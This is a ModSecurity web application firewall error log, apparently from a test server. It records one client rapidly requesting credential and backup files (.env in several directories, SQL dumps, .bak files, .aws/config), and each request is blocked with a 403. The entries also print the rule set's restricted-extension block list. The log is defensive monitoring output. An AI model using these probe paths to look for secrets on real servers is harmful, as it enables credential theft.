[Sun Mar 22 01:06:21.893619 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhsgAAAAU&quot;]
[Sun Mar 22 01:06:21.893743 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhsgAAAAU&quot;]
[Sun Mar 22 01:06:21.937641 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/db.sql&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhtAAAAAU&quot;]
[Sun Mar 22 01:06:21.938023 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/db.sql&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhtAAAAAU&quot;]
[Sun Mar 22 01:06:21.938152 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/db.sql&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhtAAAAAU&quot;]
[Sun Mar 22 01:06:22.028970 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /development/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhuAAAAAU&quot;]
[Sun Mar 22 01:06:22.029172 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhuAAAAAU&quot;]
[Sun Mar 22 01:06:22.029296 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhuAAAAAU&quot;]
[Sun Mar 22 01:06:22.073460 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhugAAAAU&quot;]
[Sun Mar 22 01:06:22.073662 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhugAAAAU&quot;]
[Sun Mar 22 01:06:22.073793 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhugAAAAU&quot;]
[Sun Mar 22 01:06:22.095733 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhuwAAAAU&quot;]
[Sun Mar 22 01:06:22.095934 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhuwAAAAU&quot;]
[Sun Mar 22 01:06:22.096104 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhuwAAAAU&quot;]
[Sun Mar 22 01:06:22.117823 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.bak&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhvAAAAAU&quot;]
[Sun Mar 22 01:06:22.118208 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.bak&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhvAAAAAU&quot;]
[Sun Mar 22 01:06:22.118372 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.bak&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhvAAAAAU&quot;]
[Sun Mar 22 01:06:22.139999 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhvQAAAAU&quot;]
[Sun Mar 22 01:06:22.140388 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhvQAAAAU&quot;]
[Sun Mar 22 01:06:22.140531 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhvQAAAAU&quot;]
[Sun Mar 22 01:06:22.388115 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhyAAAAAU&quot;]
[Sun Mar 22 01:06:22.388502 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhyAAAAAU&quot;]
[Sun Mar 22 01:06:22.388639 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhyAAAAAU&quot;]
[Sun Mar 22 01:06:22.455525 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhywAAAAU&quot;]
[Sun Mar 22 01:06:22.455721 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhywAAAAU&quot;]
[Sun Mar 22 01:06:22.455870 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhywAAAAU&quot;]
[Sun Mar 22 01:06:22.477591 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhzAAAAAU&quot;]
[Sun Mar 22 01:06:22.478025 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhzAAAAAU&quot;]
[Sun Mar 22 01:06:22.478181 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70DhzAAAAAU&quot;]
[Sun Mar 22 01:06:22.925119 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /hidden/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.aws/config&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70Dh4AAAAAU&quot;]
[Sun Mar 22 01:06:22.925323 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.aws/config&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70Dh4AAAAAU&quot;]
